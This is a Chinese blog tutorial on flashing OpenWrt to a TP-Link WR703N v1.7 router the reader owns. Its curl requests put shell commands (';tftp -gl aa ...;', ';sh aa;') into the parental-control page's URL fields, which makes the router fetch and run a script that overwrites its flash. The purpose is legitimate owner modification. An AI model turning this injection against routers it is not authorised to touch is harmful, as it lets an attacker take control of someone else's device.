Categories
木有技术

WR703n v1.7 破解openwrt(提示“密码错误”等问题的解决)

英文请参考:http://wiki.openwrt.org/toh/tp-link/tl-wr703n#tftp_install_necessary_on_v17_hardware
转载本文请注明来自http://boweihe.me/?p=1680

[写在最前]如果你在破解过程中遇到HTML返回(中文)错误提示

有一部分人(包括我)遇到了,在执行第二个curl命令的时候,返回一段不正确的HTML代码的问题(主要内容是密码错误的提示页面,会说什么Caps Lock之类的)。这个问题是由于你更改了默认的路由器模式(比如AP模式)无法开启家长控制功能,解决办法是,重置路由器设置(捅RESET洞洞,或者Web界面里头选重置)。

准备工具

本教程主要介绍Windows下面用到的工具,因为UNIX类的系统其实Terminal底下都能搞定这事儿…噗

  1. cURL工具,http://curl.haxx.se/download.html
  2. TFTP工具,http://tftpd32.jounin.net/tftpd32_download.html
  3. (可选)本教程中TFTP底下的那些文件,包括BusyBox,分离出的固件等。链接:http://pan.baidu.com/s/1qWvfp7I 密码:y1vw
  4. dd for windows: http://uranus.chrysocome.net/linux/rawwrite/

准备Hack文件

BusyBox Binary

使用curl下载BusyBox的二进制文件:

curl http://busybox.net/downloads/binaries/latest/busybox-mips > busybox

OpenWrt固件

下载OpenWrt固件

curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

然后拆成两部分

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576

aa文件(bash)

新建一个叫aa的文件,别忘了讲下面的192.168.0.9 替换成你电脑的内网IP地址(路由器分配给你电脑的内网IP)

cd /tmp
tftp -gl i1 192.168.0.9
tftp -gl i2 192.168.0.9
tftp -gl busybox 192.168.0.9
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
./busybox reboot -f

 
至此,你的目录下应该有5个文件

  • openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
  • busybox
  • i1
  • i2
  • aa

刷写OpenWrt

[警告]以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。
以下步骤中,请替换 192.168.0.9 为你电脑的内网IP, 替换 192.168.0.100 为你路由器的IP地址 (WR703N的,一般是192.168.1.1).

修改密码为admin42

这个步骤只会更改路由器家长控制的默认密码,刷完openwrt之后会恢复为openwrt的默认密码的

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.0.100/'

启用家长控制(利用漏洞)

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'

开启电脑上的TFTP服务器

开启TFTP服务器,如果用tftp32的话:

  1. 设置Current Directory为那个含有5个文件都目录;
  2. 设置Server interfaces为你电脑的内网IP地址(一般情况下是192.168.1.x)

刷固件

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.0.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

请等待路由器自动重启(重启后会加载openwrt,路由器状态灯会闪烁一会儿)
上述步骤其实会远程调用tftp里头存储的aa文件(脚本),进而执行脚本中的刷机命令

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.